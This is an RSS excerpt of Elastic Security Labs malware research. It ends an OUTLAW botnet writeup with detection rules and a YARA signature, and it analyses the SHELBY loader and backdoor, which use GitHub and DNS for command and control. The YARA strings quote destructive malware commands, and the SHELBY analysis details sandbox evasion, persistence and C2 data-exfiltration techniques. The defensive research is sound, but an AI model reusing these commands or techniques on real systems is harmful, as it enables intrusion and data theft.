<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/command_and_control_via_unusual_file_downloads_from_source_addresses.toml">Unusual File Downloads from Source Addresses</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA040: Impact</h3>
<p>OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/impact_msr_write_access_enabled.toml">MSR Write Access Enabled</a></li>
</ul>
<p>As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load_by_non_root.toml">Kernel Driver Load by Non-Root User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></li>
</ul>
<p>These rules directly monitor for <code>init_module()</code> and <code>finit_module()</code> syscalls, through <a href="https://www.elastic.co/pt/guide/en/integrations/current/auditd.html">Auditd</a>. For more information on how to set up the <a href="https://www.elastic.co/pt/guide/en/integrations/current/auditd_manager.html">Auditd Manager integration</a> to capture driver events and much more, check out the <a href="https://www.elastic.co/pt/security-labs/linux-detection-engineering-with-auditd">Linux Detection Engineering with Auditd</a> publication.</p>
<p>Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/impact_potential_bruteforce_malware_infection.toml">Potential Malware-Driven SSH Brute Force Attempt</a></li>
</ul>
<p>Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_kill_command_executed.toml">Kill Command Executed</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/execution_kill_command_executed_from_binary_in_unusual_location.toml">Kill Command Executed from Binary in Unusual Location</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/defense_evasion_kill_command_executed_from_a_hidden_process.toml">Kill Command Executed from a Hidden Process</a></li>
</ul>
<h2>Indicators of Compromise (IOCs)</h2>
<p>The complete set of indicators can be found as a bundle on <a href="https://github.com/elastic/labs-releases/tree/main/indicators/outlaw">Github</a>.</p>
<h4>Yara Signatures</h4>
<pre><code class="language-yara">rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = &quot;Elastic Security&quot;
        description = &quot;OUTLAW SSH bruteforce component fom the Dota3 package&quot;
        reference_sample = &quot;c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27&quot;
      
    strings:
        $ssh_key_1 = &quot;MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA&quot;
        $ssh_key_2 = &quot;MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ&quot;
        $ssh_key_3 = &quot;UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H&quot;
        $ssh_key_4 = &quot;O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g&quot;
        $path_1 = &quot;/home/eax/up&quot;
        $path_2 = &quot;/var/tmp/dota&quot;
        $path_3 = &quot;/dev/shm/ip&quot;
        $path_4 = &quot;/dev/shm/p&quot;
        $path_5 = &quot;/var/tmp/.systemcache&quot;
        $cmd_1 = &quot;cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'&quot;
        $cmd_2 = &quot;cd ~; chattr -ia .ssh; lockr -ia .ssh&quot;
        $cmd_3 = &quot;sort -R b | awk '{ if ( NF == 2 ) print } '&gt; p || cat b | awk '{ if ( NF == 2 ) print } '&gt; p; sort -R a&quot;
        $cmd_4 = &quot;rm -rf /var/tmp/dota*&quot;
        $cmd_5 = &quot;rm -rf a b c d p ip ab.tar.gz&quot;
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}
</code></pre>
<h4>SIEM and Endpoint Rules Overview by MITRE ATT&amp;CK Tactic</h4>
<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>TA001: Initial Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a> &lt;br /&gt;        <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></td>
</tr>
<tr>
<td><strong>TA002: Execution</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Linux.Trojan.Pornoasset</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></td>
</tr>
<tr>
<td><strong>TA003: Persistence</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td><strong>TA005: Defense Evasion</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></td>
</tr>
<tr>
<td><strong>TA006: Credential Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></td>
</tr>
<tr>
<td><strong>TA007: Discovery</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></td>
</tr>
<tr>
<td><strong>TA008: Lateral Movement</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></td>
</tr>
<tr>
<td><strong>TA009 &amp; TA010: Collection &amp; Exfiltration</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></td>
</tr>
<tr>
<td><strong>TA011: Command and Control</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></td>
</tr>
<tr>
<td><strong>TA040: Impact</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.</p>
<p>Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.</p>
<p>By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.</p>
<h2>References</h2>
<p>[1] CounterCraft, <a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">DOTA3 Malware Again and Again</a></p>
<p>[2] Juniper Networks, <a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">DOTA3: Is Your Internet of Things Device Moonlighting?</a></p>
<p>[3] SANS ISC, <a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">Hygiene Hygiene Hygiene</a></p>
<p>[4] Darktrace, <a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">Outlaw Returns: Uncovering Returning Features and New Tactics</a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/outlaw.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The Shelby Strategy]]></title>
            <link>https://www.elastic.co/pt/security-labs/the-shelby-strategy</link>
            <guid>the-shelby-strategy</guid>
            <pubDate>Wed, 26 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An analysis of REF8685's abuse of GitHub for C2 to evade defenses.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands</li>
<li>The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability</li>
<li>Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions</li>
</ul>
<h2>Summary</h2>
<p>As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.</p>
<p>The phishing email relies on the victim opening the attached <code>Details.zip</code> file and executing the contained binary, <code>JPerf-3.0.0.exe</code>. This binary utilizes the script-driven installation system, <a href="https://jrsoftware.org/isinfo.php">Inno setup</a>, that contains the malicious application:</p>
<ul>
<li><code>%AppData%\Local\Microsoft\HTTPApi</code>:
<ul>
<li><code>HTTPApi.dll</code> (SHELBYC2)</li>
<li><code>HTTPService.dll</code> (SHELBYLOADER)</li>
<li><code>Microsoft.Http.Api.exe</code></li>
<li><code>Microsoft.Http.Api.exe.config</code></li>
</ul>
</li>
</ul>
<p>The installed <code>Microsoft.Http.Api.exe</code> is a benign .NET executable. Its primary purpose is to side-load the malicious <code>HTTPService.dll</code>. Once loaded, <code>HTTPService.dll</code> acts as the loader, initiating communication with GitHub for its command-and-control (C2).</p>
<p>The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, <code>HTTPApi.dll</code>. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image27.png" alt="SHELBYLOADER &amp; SHELBYC2 Execution Chain" title="SHELBYLOADER &amp; SHELBYC2 Execution Chain" /></p>
<p>As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image2.png" alt="VirusTotal hits for SHELBYC2" title="VirusTotal hits for SHELBYC2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image24.png" alt="VirusTotal hits for SHELBYLOADER" title="VirusTotal hits for SHELBYLOADER" /></p>
<h2>SHELBYLOADER code analysis</h2>
<h3>Obfuscation</h3>
<p>Both the loader and backdoor are obfuscated with the open-source tool <a href="https://github.com/obfuscar/obfuscar">Obfuscar</a>, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage <a href="https://github.com/de4dot/de4dot">de4dot</a> with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters <code>--strtyp</code> ( the type of string decrypter, in our case <code>delegate</code>)  and <code>--strtok</code> ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image6.png" alt="Deobfuscation using de4dot" title="Deobfuscation using de4dot" /></p>
<h3>Sandbox detection</h3>
<p>SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image17.png" alt="Sandbox detection example" title="Sandbox detection example" /></p>
<h4>Technique 1: WMI Query for System Information</h4>
<p>The malware executes a WMI query (<code>Select * from Win32_ComputerSystem</code>) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as &quot;VMware&quot; or &quot;VirtualBox.&quot;</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image8.png" alt="Sandbox detection based on system information" title="Sandbox detection based on system information" /></p>
<h4>Technique 2: Process Enumeration</h4>
<p>The malware scans the running processes for known virtualization-related services, including:</p>
<ul>
<li><code>vmsrvc</code></li>
<li><code>vmtools</code></li>
<li><code>xenservice</code></li>
<li><code>vboxservice</code></li>
<li><code>vboxtray</code></li>
</ul>
<p>The presence of these processes tells the malware that it may be running in a virtualized environment.</p>
<h4>Technique 3: File System Checks</h4>
<p>The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:</p>
<ul>
<li><code>C:\Windows\System32\drivers\VBoxMouse.sys</code></li>
<li><code>C:\Windows\System32\drivers\VBoxGuest.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmhgfs.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmci.sys</code></li>
</ul>
<h4>Technique 4: Disk Size Analysis</h4>
<p>The malware checks the size of the <code>C:</code> volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image23.png" alt="Sandbox detection based on disk size" title="Sandbox detection based on disk size" /></p>
<h4>Technique 5: Parent Process Verification</h4>
<p>The malware examines its parent process. If the parent process is not <code>explorer.exe</code>, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image15.png" alt="Sandbox detection based on process tree" title="Sandbox detection based on process tree" /></p>
<h4>Technique 6: Sleep Time Deviation Detection</h4>
<p>The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image5.png" alt="Sandbox detection based on sleep time deviation" title="Sandbox detection based on sleep time deviation" /></p>
<h4>Technique 7: WMI Query for Video Controller</h4>
<p>The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: <code>virtual</code> or <code>vmware</code> or <code>vbox</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image21.png" alt="Sandbox detection based on the name of the video controller" title="Sandbox detection based on the name of the video controller" /></p>
<h3>Core Functionality</h3>
<p>The malware's loader code begins by initializing several variables within its main class constructor. These variables include:</p>
<ul>
<li>A GitHub account name</li>
<li>A private repository name</li>
<li>A Personal Access Token (PAT) for authenticating and accessing the repository</li>
</ul>
<p>Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image31.png" alt="SHELBYLOADER configuration" title="SHELBYLOADER configuration" /></p>
<p>One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image22.png" alt="Setup persistence" title="Setup persistence" /></p>
<p>This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>1</code></td>
<td>Persistence set successfully</td>
</tr>
<tr>
<td><code>2</code></td>
<td>Persistence already set</td>
</tr>
<tr>
<td><code>8</code></td>
<td>Unable to add an entry in the key</td>
</tr>
<tr>
<td><code>9</code></td>
<td>Binary not found on disk</td>
</tr>
</tbody>
</table>
<p>This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.</p>
<p>The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( <code>/</code> ):</p>
<ul>
<li>The number of processors available on the system.</li>
<li>The name of the machine (hostname).</li>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The total number of logical drives present on the system.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image12.png" alt="Generate unique identifier" title="Generate unique identifier" /></p>
<p>A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.</p>
<p>After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named <code>Info.txt</code>. This file stores the following information about the infected system:</p>
<ul>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The log of sandbox detection results detailing which techniques succeeded or failed.</li>
<li>The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.</li>
<li>The current date and time of the beaconing event</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image28.png" alt="Example content of Info.txt" title="Example content of Info.txt" /></p>
<p>The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.</p>
<p>After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named <code>License.txt</code> (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image18.png" alt="Function calls for registration and retrieval of License content" title="Function calls for registration and retrieval of License content" /></p>
<p>The malware generates an AES key and initialization vector (IV) from the contents of <code>License.txt</code>. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image25.png" alt="Generating decryption AES key and IV" title="Generating decryption AES key and IV" /></p>
<p>It proceeds to decrypt the file <code>HTTPApi.dll</code>, which contains the backdoor payload. After decryption, the malware uses the <code>Assembly.Load</code> method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image4.png" alt="Decrypts and loads SHELBYC2" title="Decrypts and loads SHELBYC2" /></p>
<h3>DNS-Based Keying Mechanism</h3>
<p>Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.</p>
<p>First, the malware executes the same anti-sandboxing methods, creating a string of <code>1</code> or <code>0</code> depending on whether a sandbox is detected for each technique.</p>
<p>For its C2 registration, the malware builds a subdomain under <code>arthurshelby.click</code> with three parts: the first subdomain is a static string (<code>s</code>), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format <code>DomainName\HostName &gt;&gt; Anti-Sandboxing Results &gt;&gt; Persistence Flag</code> encoded in base32.</p>
<p>For example, a complete domain might look like <code>s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image13.png" alt="CyberChef recipe for decoding generated subdomains" title="CyberChef recipe for decoding generated subdomains" /></p>
<p>After that, the malware executes multiple DNS queries to subdomains of <code>arthurshelby.click</code>. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.</p>
<p>The subdomains follow this format:</p>
<ul>
<li>The first subdomain is <code>l&lt;index&gt;</code>, where the index corresponds to the order of the DNS calls (e.g., <code>l1</code>, <code>l2</code>, etc.), ensuring the byte sequence is assembled correctly.</li>
<li>The second subdomain is the unique identifier encoded in Base32.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image16.png" alt="Subdomains contacted to retrieve the bytes used to generate the AES key" title="Subdomains contacted to retrieve the bytes used to generate the AES key" /></p>
<h2>SHELBYC2 code analysis</h2>
<p>The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a <a href="https://learn.microsoft.com/en-us/windows/win32/sync/using-mutex-objects">Mutex</a> to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string <code>Global\GHS</code> to the unique identifier.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image9.png" alt="Mutex initialization" title="Mutex initialization" /></p>
<p>After 65 seconds, the backdoor executes a method that collects the following system information:</p>
<ul>
<li>current user identity</li>
<li>operating system version</li>
<li>the process ID of the malware</li>
<li>machine name</li>
<li>current working directory</li>
</ul>
<p>Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image1.png" alt="Dead code" title="Dead code" /></p>
<p>The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word <strong>&quot;Vivante&quot;</strong> translates to <strong>&quot;alive&quot;</strong> in French, which reflects the file's role as a heartbeat indicator for the compromised machine.</p>
<p>Next, the malware attempts to download the file <code>Command.txt</code>, which contains a list of commands issued by the operator for execution on the infected system.</p>
<p>If <code>Command.txt</code> contains no commands, the malware checks for commands in another file named <code>Broadcast.txt</code>. Unlike <code>Command.txt</code>, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.</p>
<h3>Commands handling table:</h3>
<p>Commands in the <code>Command.txt</code> file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.</p>
<h4>/download</h4>
<p>This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:</p>
<ul>
<li>The name of the file stored in the GitHub repository.</li>
<li>The path where the file will be saved on the infected machine.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image20.png" alt="Download command" /></p>
<h4>/upload</h4>
<p>This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image32.png" alt="Upload command" /></p>
<h4>/dlextract</h4>
<p>This command downloads a zip file from the GitHub repository (similar to <code>/download</code>), extracts its contents, and saves them to a specified directory on the machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image30.png" alt="Zip extraction command" /></p>
<h4>/evoke</h4>
<p>This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.</p>
<p>This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:</p>
<ul>
<li>The path to an AES-encrypted .NET binary previously downloaded to the infected machine.</li>
<li>A value used to derive the AES key and IV.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image3.png" alt=".NET invocation command" /></p>
<h4>System commands</h4>
<p>Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image7.png" alt="Powershell execution command" /></p>
<h3>Communication</h3>
<p>The malware does not use the <a href="https://git-scm.com/">Git tool</a> in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:</p>
<pre><code class="language-json">{
  &quot;message&quot;: &quot;Commit message&quot;,
  &quot;content&quot;: &quot;&lt;base64 encoded content&gt;&quot;,
  &quot;sha&quot;: &quot;&lt;hash&gt;&quot;
}
</code></pre>
<p>The malware sets specific HTTP headers for the request, including:</p>
<ul>
<li><strong>Accept:</strong> <code>application/vnd.github.v3+json</code></li>
<li><strong>Content-Type:</strong> <code>application/json</code></li>
<li><strong>Authorization:</strong> <code>token &lt;PAT_token&gt;</code></li>
<li><strong>User-Agent:</strong> <code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image14.png" alt="Initialization of the HTTP request" /></p>
<p>The request is sent to the GitHub API endpoint, constructed as follows:</p>
<pre><code>https://api.github.com/repos/&lt;owner&gt;/&lt;repo&gt;/contents/&lt;unique identifier&gt;/&lt;file&gt;
</code></pre>
<p>The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image26.png" alt="Wireshark capture of a C2 communication by SHELBYC2" /></p>
<p>The way the malware is set up means that anyone with the <a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens">PAT (Personal Access Token)</a> can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.</p>
